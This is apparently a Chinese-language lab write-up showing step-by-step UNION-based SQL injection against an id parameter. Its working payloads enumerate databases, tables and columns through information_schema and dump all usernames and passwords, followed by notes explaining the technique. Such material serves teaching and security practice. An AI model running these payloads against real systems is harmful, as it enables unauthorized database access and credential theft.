打开后,提示输入id并赋值
1、寻找注入点
输入?id=1返回数据,输入?id=1’报错,说明存在sql注入漏洞
根据报错信息,猜想输入参数的值被放到一对单引号之间。
猜测后台源码中存在类似于如下的数据库查询语句(可查看后台源码证实猜测):
SELECT * FROM users WHERE id='$id' LIMIT 0,1
2、order by 查询该数据表中的字段数量
输入?id=1’ order by 3 --+ 正常;
输入?id=1’ order by 4 --+ 报错,说明该数据表中字段数为3。
3、爆破数据库
测试出一共有几列数据之后,改变语句:?id=-1 union select 1,2,3 --+
语句解析:
- id = -1 --联合查询后两个查询结构合并输出。但是这个结果只能显示第一个,因此需要让前一个查询结果为空值。
- union --联合查询
- select 1,2,3 – 利用1,2,3 测试出数据返回的数据在页面的位置
可以看到只有2,3在页面出现,因此可以使用2,3这两个位置。
构造字符串查询数据库名、表名、列名、字段信息。
从information_schema中获取所有的数据库名:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
从information_schema中获取security所有表名:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
从 information_schema中获取列
?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+
查询所有用户名和密码
?id=-1’ union select 1,(select group_concat(username) from security.users ), (select group_concat(password) from security.users) --+
爆破成功!
知识点:
(1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是schemata、tables和colums。
- schemata表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为schema_name。
- tables表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为table_schema和table_name。
- columns表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为table_schema、table_name 和column_name.
(2)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。
(3)–+中,“–”是SQL查询语句中的注释符,“+”在URL中表示空格。